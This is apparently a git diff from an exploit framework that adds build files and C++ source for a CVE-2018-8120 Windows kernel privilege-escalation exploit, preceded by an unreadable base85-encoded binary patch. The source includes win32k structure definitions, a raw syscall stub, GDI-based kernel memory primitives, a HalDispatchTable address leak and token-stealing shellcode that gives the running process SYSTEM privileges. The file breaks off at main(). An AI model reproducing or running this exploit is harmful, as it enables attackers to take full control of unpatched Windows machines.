zxLvuQCf#=`_lynYo^hXYpDEp2GGzYa7$-BPOH1^nDtpG6%063IYc6Hac#*;mXyds_G;a(*7Y{F zXEM<2jB##Md>M?lGgj+-#RqV)y_4UgY82cjP+sat2n|3gMhV9!K|0`p)j#2BjPPPxQz2ZZ}FgDm;t-};w!ov1_ zZ2uHv%T!tZuQN_&{0qjZjQ26lWc)B=7vr6b7cqX7aXI5>8P_p>i*Y044#t}q-^_R` z;}*s{7$0G*_$;xE+u8mQ<4(r!F*X<^#+{6hF*X?QVXXKd z6Bzfgy;?^rzJ=m@Sgw)fQ>nsdzJ}tXB(r_F3U3f!ES2r^*gl#2+sTYG*}j&s#^J{^ zcCr0;7%yV{6UOC?f5o_taX#Zl#?LX{%=krxIX#N6vX$){*}jPF6`y7Y+bceUh0~kB z?%Ua3@jdM9U-5xD+1|(Q%h^9qdo+XXpJw|$#)|J@WA{VY-g2$1pSg?`Un-SxGTYzH zcnkX<$2gVki}+pkdl%b(m+>OTw=hm+_cq4mY(I~&jmsyUaUI)x z8E3Hl)r=e2zD~Jk`x%Tkv;BR_KgXZQcniC~k?~e`-^6$aZx!QY#tn=&vHKesr?UP1jO*Dxi*Y8~ zuUGEbK7+A~?H^~ni17-><&6D|>liO!oXPne#<-E~zsGnp<3h$;8GoN~Hv1pWcn8}z zGhW2$y_Ru1+pl5lV*g2uJK6qL#szFYg0aE&3mNw@-ptsNDa-#s#>tGIV4TW$E8|5R z{w0hv*?tk@BDTMjv5W0*W32e1*E3$k_8SyVDf5wk7_HcYDj5o9W9gKId z{bh`|vVEztXZ$kbcE-CHcQW3_*kHVaaUbIYj4jh;dG2Lg$MKJ3oXqxjGFJ2U4;iPj zeH-I!#xF5m#Q3L-J&Ye^T+i{1V%*5~|IBzZ#;I(-gz;v!AImtC?TZ+@IQ(e}v;7Yl7cstsq+>t>@?F? z!h58&i%lP$#H5eTF-cX{810kOS0;AdNtGiXoqMHE?#gT8L>gf_dr2Ri_n?o?b1;WD<-7-7jFO|z&FQM*aEnnA^etn5bW)Z+I=@OE-GiZT z8M|M`;nm{IAANofm(Ci~N4Fv9qx%o^(P?w3%JkEDLHeqK8AXu^by^q11a}Je}q;1M2D0f<(}w~%1`CLR{JKf9t^)0 zrA_v#Jcv%yky;n0hv=2C3XkZP(x<{B`lb9i*gerPonHvm7nRpcO^wGy*A$;BU$@Ag zGZ;V7c{);eD~Ct)PFR&6(LKed(nIv04%c(oJ+%YMUp`}M4}@>W|2+8hG5t~d2&Wrr zC+YB|@`xT-% zS#q*}p%5j7eG~bil9|ahL#M*S>#<7I)0|*A%l;@=Q|mDrhp4|%?M0s738jz5BZ^JU zS7|(=*i^m9{vqUF_75TZYLWl&{(*)IgxkzWVtwl^e4w}SFk+*MznvMD&MM3$ zLM>Ou?+DV5j6Xlv52*M<{UOC4qBj{o-Pe(yj6am#C4#;v{=xMx)1hisrh{%M$WNAk zZjcUTJOx2}8BadfE{)HUZZ8xM^#F=OWjuvJ`jPR3`bilN-IkDFc(?=Wm2UBbMkX09 z-LVKy|LibK?d;ZIerm;xCNz>u|F;G0Wx8^L{fH{(P`YH#qbN)ISG@?$uc)482J2Oo zpK90A{p?^qrTfAl9ZC0kuwJG6ys-38__qho6HE81wW;=YbC^B3F9_?0s629lPFeLE-N2=Gm~aU&gaug)1>j3wIwn zfhyBOv>I+tx5L8mHwW3%C>L%|qf|InvlJEo%CP*>XeE2|lCXYUn#li^uva0_dLkXE zSK-U~vs!J@e46Nn?nKE?_9sgaLOMp)P&jg)O|>dNT946PFSTx`w4|eyRXNFdcPVBm z@{|3XJOfQ85{J(HN=*O5-P5hKfmp6K)H)#@(@=hFQ>K{}M}iKtDv zr}C$p-r<;T*$u>l?FafV9pqo0-KG#^e4+Z5cq!;AJpA$?-AMZ?+&&Jsr@M{eSgjgW z_;lxcp#8w~d4hB+!>3tIxO@K~d%9hz>}j4vH{KPdd21*?avec;>*XiceTr*9d;^-V zt5ve(BT#v(@Z|Uyq927-KO`~zSK-t6SsA29X5wAr*jo7YVd@9zzx?F7B-~!Mw~#&Isv!Nz^&9<{pIp}~?vdmth0~9m z=PND~*;D-C?kW6Ge<0Ukq4Y>Tf#OOLKZfX??oY~3V)`#XH7`~@hQg}FE38_ifcpT`p%zvVhm{tqvoaP#o|O1{i;q(Xj@e-cWMobOS8B72w+mK3Y7@-K0DFg+5} z{dM_CTpR2kB=!ZzPsy(d#h-(jIjvb1U`9TX!}y1Si$mxArQ-g+{5#+7d=nRLV*jpYm`22ML^4|Mp=0r(VGBe}n=|>wT>Xj}W@k2Sp!=_u+mI`p7Scet=Z zuzth+4>UGy3_RHUt%o*!`{75v^WE=#fAgdN{Da3H|KSr`e)Qy1KmN&2f422se*Uk& z_~oyj-uCO?JoD^tpWD9U`JFGk_|nU-w6wPE+WqRDz3uzXjRoc;38e>sOYI3moE zQPDA$*tqzFAw#XU#9_meMqF}fa>~e2qsNRLXCHsrgo%^B_Vv`uuSmNxeezWqS5KKb z?V4+^%bY$V>-rnMabtGzl9Ez)+0ycgyO&i~Ro8gF>8dCwhpF8-&xiY{({ z@2b^n*8Xqj|9?CF|8n{3GjklySvR?IXWyKcKWA>iE%W9V;+=s-x7{ww|Kj$47v=w7 zCBKVj?<pcj;v1&*}BncxTv! z91$Ufz+P5dQR(;6+?K)>_V!7oalqBSW!~z_D$ithotXMo`)X>*L}B3`GAkVJl{LksFt%T57rOAs?G@FKl2KebnNlg!J;-0UYt2;*X&bekVqZylVeyhm zHI3JDZgr+l$+$W*J@e`*8FqJ_r?RHPXJ4|?p6#!Ocnoi9xzFdRopIGwODlZk{w0%3 zYO1c1HkXTd7m&1w8RU^l#188!NV$k}))iNID#I);t9JYBen^P07nfF5RP+CtQiozr*5i);s!fVq`1r0l{r#U{ZPWP=9UZ20XGT&WQ1Gx=U zKeJG~c3+L%>#nV-T<*4C#BFLu-K0gA%iLH$5Z+!Tq)y33dUf0 z77InyhlND$AnW5ovM&ZWC3--H?I=A&fl~6>CskI~UAdyh3+hl1^Z|E;-ioDg13@VE z<^IZQx3_pnMP-F=<>bkeh5cL<%?groQ@s>M6il2p$9Ie0?OmA*VKv_6qOp}hJc-Q5 z`Q>vVw_%y0{39LCO80WKA0z{UFqR{@rEW@s_{ct|(p_9l)_zaO9I}-bW1d!swcSd= z-yrE@Qc5Ao2Bh`AADCoEO~TsCjujvMr=5-Y@a4pgij?gnD{7$#V?KNoLuTEb*ynd+ z6-#_o$$Pm2t4NA32l0_aMG9HUm?9Z+B-vmgY{`d`2R2^212KExi(;UBaOK%cyd)#2 z)V=~u!S1O*%PbwwvMouUl8abhGNaTcR36T>_agmpFY1-}vy!mI>w3M_cZKSCsIjY0#i71ffU9W1| z_;JzNxIey}eCbE8BwKdxNp2aYX?eqOjy>0;jkiQ-mT9|_3GW^OnGDLT^wng-Z{hbE znIRJcakQo(ObuabgTgeyEt00iO^epzrbK%ZaUt4@d|0Q%dkU|I9qcP{xOq8#?-&61 z5>w)|6kmdtQW~$NOoM*jh~D8{i5=uV0`>;nUTKHOijT>)ru`P!X~)yIj1yDLTFT53 zo+J!pDvrIdHzVP<{1rC=*zXN@Gs2>c@Znb)qm4lNM@&iVQsF&=elKG}D7;va$5<_H zUUV>Db}al~#IFuK%oXXpPpapcm^ji)Nh{ zD&sP=>rVW3s{GrcHJdL+vmsx$DG9-R%|Mwg#_x!7ml&-jq7D+L4C#vZ#1*Oh$4`aK z6a0FWJ1VPb@l-~=)~+Ef;cidD-K1&A3)gSTwei5U=1Hbw7^PTe?#lJMDRGtm!$;#$jxULKvd$#G&n= z{h&OO=Gi=^LHRbtMrg59qB2r4;#P)rW56FO15ap zrT7)bXvrws4@IyM1kq(%NS~Fd0(Jn<@U0MhgZQ{}?!#yT@f@UurqS*`M zH9N}PK4o<8$gbp$OIngVMC;UE678_xJx;Ux#=`9wxErn6aj`R{_tLHr9g^me6m7?y zcy$fGv0Uzdg#LlMLO2n^1%@Nu;Zv-F=E#o^<@zK1rn8@Cp#KEFd8%!OwPn>FFD*sC zf}iqpE%b}=Q+`Z>CgVYqae^jIV-mD6zIbg6%47`6WDLq=%oLIO783+244D?I4Ve;M zV2X~=qNhY;$o>OT3cb-D69hI`ypbMrQACDpbFyDibom}OUTt7fdyrmIIgA3?r=TxE zd8Z)0lqsT5X;J>3gWFZLkh8$~jODhf>|?<;9D*N}KdFhA#-Z-4sJEforSpdOCU#jn zi0YO5Ux1N46`M&v9#C#Eq7PJVBCxr68-8ud4fT5;q0jS$r4xOha{mGj;d)nv+^0;6 z(=I7Y)GnE3(=PE2>$Pjp21kKO^Yv(?aPCMY8mGQI@%+9rnC|!Q*R*r^ zeZlz@b>fZ45PmMwXME74X_syc^%*8HCRkB_L$#E`A*e%)4-b#%5`6*2FjGu~7GwH> zs2{2$`q3xa3)7J*$6XI=+A;hRy4g(!MTL0l<_3v}2e{UxF-ZJPCP zyeB1nh;y8882b7|(3edco-_2}xL!+FbVp>18q2Akq(3YC4b`l_5&o_j=d;0|q|4z` zhk6J5qx2_Uq)-3&Cz=-j(@>u-%Jx3QBgzNmQW%BuiPVyYp&yNlAX?5a4UN!-PKnDf z4WsgkLwP}+BFigLmV2;G+_p{AYVZq|JN3oLqwP1KLJ#%+vc6IvbY#f1ByGsaXb;gO z?fIraP)Ynr+3tg8=?U66-w177X%hPGVcNLg1jo<en|@ zoRrRa=x0Q~l!$)GhJMM4erc#S=3&{Zri_Z#5=@C&cw6z1UolP%!#I_Qcrac)983e( zH)ypKw2J;*%w@bIx>Ay(wAc?+NU}{9QCi1DYeP@QbSWFkgNQ?nA7Nw4u%s@UCzyss zYr{Sot_|}gYQql47l``04B=pom#EU35h2P#gcB8^MNKntnT$u7Bww&hwjnK^Le+va z?H71!!QKlwpZvxKthG;J<~a#DRAKH?>8%F1+ZN`|1+yZ!+Y)A04zmK7UFiGAdm^&j z|M8xPEQkNC_e2(&!k_0jXu{e)NAgA>3)Q_)dxs^YD#iewPK_Wp17xadRb-Z5Q|hmD zOW~oowl+U<9@su4JXF(OC3~MN{iM{azVpzCHV-a2O*dEO>;iv=~m2K=|g!etSEKoloxxoccPTG zuqJ4)?WGXr`%1ZbwG&Z7`mZ3Ticsi;=Yao*l8rVw+?C)|4lbC@CLu$ZTn1$ae;~`G z8hkc)P5~D6VHn8>BZ6ZlT1X=-=%SEkkF<(@+wO(C1-&0X7NmO#3Qi7muH^qj1SDsaE_b z4(b}nED^t9{3G-6_>uWF_z}hwLEs$57>Iuil{K!5Tg+k?{$_!fZnUv-tc#!pZedS>P|55kv8`bhH&xoW-_rC zKQQ!nn3@01BwdtDcy@YGGO_=6rs97utpB$N!xSMUEB_c1l%o4q-Z!2L_NVVl&5wQ} z)pbvF{h4&xYwCr%74BP~diyE6v_9|ux^vPfo7LZbMfWsKKap;Bej2f(s=TY zi-*7FN5aP~m{8sF_CLLC*Y0}z?zg9$@BT>V@4L?6yxkg^vVyw@uD57h%nA1uDeWU! zwXmANs*TkoR+CvB&FVx}Gg!@J)x~Ndt3|9g$7&s`t5~gPbv>(%tUk!Sk8Au)3AiXIXubRTchj#;>vZCaYbn_OjZ?swGO6QxdDmtlC-4VAaLy|7q`hz?>-W zJU-h)$@OTBo;`zbnhLn71vkig2H7P8t`aI}Eci5{)a>C(I2H&5FybOX5Mu!evS`{O z%%A+3%uHsYS2d+uh`4y+c~*#mlB>W)K}nC(Cq3;M7399Zommb&+g_ii&vVan*Lj{F zpYObR=bd-H@4T~_$@?+`-#>ijy5D5LWYA>TWW;3DWXvRIGH0@2vTU+u5|8az+NaH= z-K4{$)1=EJYtm!VYtm=ZZ!%yqXfkXvYLYXVGdWOx!CWtyteC8svsat2Q60pADK|EFBL;EUyadAt9u&*^x6-!WAde|5c`Ek=5QHONjj z82baq`Q_stSpOVf=t$GO2`#iv3)O8PjnczQjQyN`>`%j0=F(-B%S4TG|5(y6MT!Bx z2K>2hqETM6$z}L~H$*@3eqpJtVsJy-aQf_7y1%6RG8S@%a@z5I#Whn`x)E`I9p)|0+Q-R7`fCf7CV@x8sDww+2J`tajZZ+~ya)&nBVE=yCCuZ**KXWZCL<%a-r+O!rMbk=`oQ+;BttYiHKaT3;SD`|(fSnk#Ruf7rNND9%0_SvYOqPoK8`=xg8i_m0Ad89ayR zd$rG4K65W_{rX`sNdMH`v+kSlFSl=edf_E&e(Qeu;OLH_@Axiz@wMN$OBan;J7w4u zb#M9uH=BB4UZ;M+FK<|P$~~^NXYz`7-{{``=1KRSGiUaZQAWqPvgH-Pt|<=Ij;E9_V(D9P!FKJv%3iZC}5_-G1j?FFpM1 zjIK+5aj*OE2TdC<-1X$6-}CZydLH`0FFyy6%Iiv039&kL@b_;8)2`9e#`p^@7jiA1U6h@XbhWU3Z^EGztSkj1FlCnQO*W%i5+9~GC_`?wla|GHCRz~8Qf&CJPj578`yaGY>v4iu>^iHt#YKCb>It%&{l!vGx=vZ=K z$xOF5!fOQOA%+liTwUNVO8?8KwpM3V;fN_Im`p6&Kx3=xN|bh!`}{)nsf-+>M|z3*bs8yh5G`_%?#t>ooY# zSd@u&>;nJ8)OGMddz@Kzaq|zac+y7lQH^z>9rG{!2j#LHUW}X2EmlW^m8l_}vh? z0!HsaJ3$klzZdm~&Vw}s)t@-nZ)gj6sNL|NICu`m9wWa69F3ql5H&>qIR-Ad4`m_G zQt(3r<@pG-br@w5|LT6^NBR)(;9PhPeF(f@p5d((^dhJ}#M88nJjCXIF!n|4G&Rvb zAJ1ZEz$@?##C^zL2B&u7c%gg1lL#ua3N|k=>PEbFv7uS;UQ_$Qh^b59-!8#9fO5Rx z76ctvH@H0n-=R71MFf?f2Y-VgPd)s^@LsueuAKSo(AVe480cg zt~NCB|`uj3?&7(Lckbg9I7D0WGS;sIxK~SD;VDn?> zQ>ZiX7=q6K3OF-rlpg_KM$j?#f`9qAp@)F;5&iyvcl-$FF!Iats9Ysh(fcV4-td*gYAfJ=peWl5r>X}J2zom8MG&cI&U^SU;89H zL?n=Y8vNlF;~4$mjIC%>q|XG8J%#HRbcKkZYXWh~(}stBaPKyFf@@R}ob(K?>Cis# z=Ll+}9`LsaI`%=^am_@Kz6X4dH1b!$%Xb**!$Acx9O;8N^f>|kLKD}CcsD3?6#P8F zFdLwmB+d&8XrepCFh7H4!A}v?cBjE{X`?>P;7kP7fw&2A1o>lNbB19~Kocj*3xWLo5JCoA<`Ta z(nOjYLYhePJV+C1o(5^+K~ocHz6GTd2UiVEq%r=KPNZ@8q=_^JpEPm4scCFHjdQ1T zB8^ceO{B5tq=_`vn>3NeZj&a`_+8S(QKrVx{(1R-??6NUZ^Sm^Hu^j_=zrP3_v)`m zr}u4o@R>i?z^tT9Us_t+;RT%ob46Pl$6o7fw0F=LJIqULZM<{lEn{4b_Rvy{ylU@U zw6LSK@xhKzqkG~vzTVOv3gM01oe$bkz`{^#Bi?&|V`xsGV?ldp%z}AymMjV_x_{{y zOnAMqJ+$E35^rk{@0?LrCs$0N*i}o|903i)G=on z=5ju0t|Mhh$6~w$9TO3~1G6qe=RQ3DsXH2#h9$w(b?MA9-6vv`6A3I zZL}|&H)+lsj6G~^yuZCO)X`{fI#*6h)9>C(OVbzX)Y5eB;IMg1(|~VS`BGbaDmT_cU8BfNS z31q^VXeOSKGWkp~Q_fT~^^8Tf$qv~idt{#+ki&9Rj?0pqmy2>)uF7@UqSzFN;!-?{ zPYEbtC91>~Ny#fkrL0tyx?)jnszY_D9@VD?)UX;=u6;h>CB~?o?X=~b^cBa|1H|cQmeH)5 zU2|%z=GFXKP>X0Wjni^kK`Ut$t)?-$Rk!O-oz=a%Uk~aLJ*IPdPA}*sy`tB2OzdOu z^%EV;%Go(5$8uiI&jq;%7vnfC#}&8|SK(?L!&`Yf@8ntD%lr8tAK_y>$LIJ0U*ao# zjb{X_U>BSMD|iLJ5ELRpOyJOC3qlF~wI(p46}`?WvZ7b?i$O6W#zaoci3PDFR>Ydf zB&-R0!kJ(b-h@99Ohgi~1dRk3f~ploM~3m^-qx&VBppS|)zNkqw4M#^=Rga(q#(SB z!yO6!(cgl&*XXam1y0-G zwF7Ru;I{{k$I;`;=xsK*8-TlE_*+5$s-cH5f(72%;4bwu7Cp_2zUD`7BbTG_Igao5 I|5um)1iaR?OaK4? diff --git a/external/source/exploits/CVE-2018-8120/CVE-2018-8120.sln b/external/source/exploits/CVE-2018-8120/CVE-2018-8120.sln new file mode 100755 index 0000000000..a9ee202779 --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/CVE-2018-8120.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2018-8120", "CVE-2018-8120\CVE-2018-8120.vcxproj", "{B076D8F6-7924-42DD-B101-54A162D2EBD0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|Win32.ActiveCfg = Debug|Win32 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|Win32.Build.0 = Debug|Win32 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|x64.ActiveCfg = Debug|x64 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|x64.Build.0 = Debug|x64 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|Win32.ActiveCfg = Release|Win32 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|Win32.Build.0 = Release|Win32 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|x64.ActiveCfg = Release|x64 + {B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj new file mode 100755 index 0000000000..4e9c6ce019 --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {B076D8F6-7924-42DD-B101-54A162D2EBD0} + Win32Proj + CVE20188120 + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + false + true + true + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters new file mode 100755 index 0000000000..9677223056 --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2018-8120/CVE-2018-8120/Source.cpp b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/Source.cpp new file mode 100755 index 0000000000..06edb885be --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/Source.cpp @@ -0,0 +1,667 @@ +#define PSAPI_VERSION 1 +#include +#include +#include +#include +//#pragma comment(lib,"ntdll.lib") +#pragma comment(lib, "Psapi.lib") + + + +#ifndef _WIN64 +typedef +NTSYSAPI +NTSTATUS +(NTAPI *_NtAllocateVirtualMemory)( +IN HANDLE ProcessHandle, +IN OUT PVOID *BaseAddress, +IN ULONG ZeroBits, +IN OUT PULONG RegionSize, +IN ULONG AllocationType, +IN ULONG Protect); + +struct tagIMEINFO32 +{ + unsigned int dwPrivateDataSize; + unsigned int fdwProperty; + unsigned int fdwConversionCaps; + unsigned int fdwSentenceCaps; + unsigned int fdwUICaps; + unsigned int fdwSCSCaps; + unsigned int fdwSelectCaps; +}; + +typedef struct tagIMEINFOEX +{ + HKL__ *hkl; + tagIMEINFO32 ImeInfo; + wchar_t wszUIClass[16]; + unsigned int fdwInitConvMode; + int fInitOpen; + int fLoadFlag; + unsigned int dwProdVersion; + unsigned int dwImeWinVersion; + wchar_t wszImeDescription[50]; + wchar_t wszImeFile[80]; + __int32 fSysWow64Only : 1; + __int32 fCUASLayer : 1; +}IMEINFOEX, *PIMEINFOEX; + +struct _HEAD +{ + void *h; + unsigned int cLockObj; +}; + +struct tagKBDFILE +{ + _HEAD head; + tagKBDFILE *pkfNext; + void *hBase; + void *pKbdTbl; + unsigned int Size; + void *pKbdNlsTbl; + wchar_t awchDllName[32]; +}; + +typedef struct _tagKL +{ + _HEAD head; + _tagKL *pklNext; + _tagKL *pklPrev; + unsigned int dwKL_Flags; + HKL__ *hkl; + tagKBDFILE *spkf; + tagKBDFILE *spkfPrimary; + unsigned int dwFontSigs; + unsigned int iBaseCharset; + unsigned __int16 CodePage; + wchar_t wchDiacritic; + tagIMEINFOEX *piiex; + unsigned int uNumTbl; + tagKBDFILE **pspkfExtra; + unsigned int dwLastKbdType; + unsigned int dwLastKbdSubType; + unsigned int dwKLID; +}tagKL, *P_tagKL; +DWORD gSyscall = 0; + +__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp) +{ + _asm + { + + mov esi, tmp; + mov eax, gSyscall; + mov edx, 0x7FFE0300; + call dword ptr[edx]; + ret 4; + } +} +#else +extern "C" void NtUserSetImeInfoEx(PVOID); +typedef +NTSYSAPI +NTSTATUS +(NTAPI *_NtAllocateVirtualMemory)( +IN HANDLE ProcessHandle, +IN OUT PVOID *BaseAddress, +IN ULONG ZeroBits, +IN OUT PULONG64 RegionSize, +IN ULONG AllocationType, +IN ULONG Protect); +#endif + +typedef struct +{ + LPVOID pKernelAddress; + USHORT wProcessId; + USHORT wCount; + USHORT wUpper; + USHORT wType; + LPVOID pUserAddress; +} GDICELL; +typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation); + +typedef BOOL(WINAPI *LPFN_GLPI)( + PSYSTEM_LOGICAL_PROCESSOR_INFORMATION, + PDWORD); + +typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, + OUT PULONG Interval); + +NtQueryIntervalProfile_t NtQueryIntervalProfile; + + +DWORD gTableOffset = 0; +HANDLE gManger, gWorker; + +#ifdef _WIN64 +ULONG64 gtable; +#else +DWORD gtable; +#endif + +#ifdef _WIN64 +ULONG64 getpeb() +{ +#else +DWORD getpeb() +{ +#endif +#ifdef _WIN64 + ULONG64 p = (ULONG64)__readgsqword(0x30); + p = *(ULONG64*)(p + 0x60); +#else + DWORD p = (DWORD)__readfsdword(0x18); + p = *(DWORD*)((char*)p + 0x30); +#endif + return p; +} +#ifdef _WIN64 +ULONG64 getgdi() +{ +#else +DWORD getgdi() +{ +#endif +#ifdef _WIN64 + return *(ULONG64*)(getpeb() + gTableOffset); +#else + return *(DWORD*)(getpeb() + gTableOffset); +#endif + +} +PVOID getpvscan0(HANDLE h) +{ + if (!gtable) + gtable = getgdi(); +#ifdef _WIN64 + ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL); + GDICELL *c = (GDICELL*)p; + return (char*)c->pKernelAddress + 0x50; +#else + DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; + GDICELL *c = (GDICELL*)p; + return (char*)c->pKernelAddress + 0x30; +#endif +} + + +#ifdef _WIN64 +typedef unsigned __int64 QWORD, *PQWORD; +typedef QWORD DT; +#else +typedef DWORD DT; +#endif + +extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0; +#ifdef _WIN64 +extern "C" void shellcode08(void); +extern "C" void shellcode7(void); +#else + +__declspec(noinline) int shellcode() +{ + __asm { + pushad;// save registers state + mov edx, g_kthread; + mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread + mov edx, g_EPROCESS; + mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process + mov ecx, eax;// Copy current _EPROCESS structure + mov esi, g_EPROCESS_TokenOffset; + mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4 + mov edi, g_flink; + mov ebx, g_PID; + SearchSystemPID: + mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink + sub eax, edi; + cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId + jne SearchSystemPID; + + mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token + mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process + popad;// restore registers state + + // recovery + xor eax, eax;// Set NTSTATUS SUCCEESS + + } +} +#endif +DWORD GetCpuNumber() +{ + LPFN_GLPI glpi; + BOOL done = FALSE; + PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL; + PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL; + DWORD returnLength = 0; + DWORD logicalProcessorCount = 0; + DWORD numaNodeCount = 0; + DWORD processorPackageCount = 0; + DWORD byteOffset = 0; + + glpi = (LPFN_GLPI)GetProcAddress( + GetModuleHandle(TEXT("kernel32")), + "GetLogicalProcessorInformation"); + if (NULL == glpi) + { + puts("[-] GetLogicalProcessorInformation is not supported."); + return (1); + } + + while (!done) + { + DWORD rc = glpi(buffer, &returnLength); + + if (FALSE == rc) + { + if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + if (buffer) + free(buffer); + + buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc( + returnLength); + + if (NULL == buffer) + { + puts("[-] Error: Allocation failure"); + return (1); + } + } + else + { + printf("[-] Error %d\n", GetLastError()); + return 1; + } + } + else + { + done = TRUE; + } + } + + ptr = buffer; + + while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength) + { + switch (ptr->Relationship) + { + + case RelationProcessorPackage: + // Logical processors share a physical package. + processorPackageCount++; + + default: + break; + } + byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); + ptr++; + } + + return processorPackageCount; +} +// detect extract kernel images. +char* DetectKernel(PDWORD offset) +{ + BOOL pae = FALSE; + *offset = 0; + int tmp[4]; + RtlSecureZeroMemory(tmp, sizeof(tmp)); + __cpuid(tmp, 1); + + if (tmp[3]&0x40) + { + pae = TRUE; + } + + if (GetCpuNumber()>1) + { +#ifndef _WIN64 + if (pae) + { + *offset = 0x9000; + return "ntkrpamp.exe"; + } + else +#endif + { + return "ntkrnlmp.exe"; + } + } + else + { +#ifndef _WIN64 + + if (pae) + { + *offset = 0x9000; + return "ntkrnlpa.exe"; + } + else +#endif + { + return "ntoskrnl.exe"; + } + } +} + +PVOID leakHal() +{ + DT ntoskrnlBase; + DT HalDTUser, HalDTOffset; + HMODULE userKernel; + char * FuncAddress = 0L; + + LPVOID drivers[1024]; + DWORD cbNeeded; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) + { + if (drivers[0]) + { + ntoskrnlBase = (DT)drivers[0]; + } + } + else + { + printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID)); + } + // ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase; + DWORD offset = 0; + bool failback = false; + char *kernel = DetectKernel(&offset); + printf("[+] Detected kernel %s\n", kernel); + userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (userKernel == NULL) + { + printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel); + userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + failback = true; + if (userKernel == NULL) + { + puts("[-] Could not load ntoskrnl.exe"); + return FALSE; + } + } + + HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable"); + HalDTOffset = HalDTUser - (DT)userKernel; + + if (failback) + { + return (PVOID)(ntoskrnlBase + HalDTOffset + offset); + } + else + { + return (PVOID)(ntoskrnlBase + HalDTOffset); + } +} +void main() +{ + int argc = 0; + wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc); + 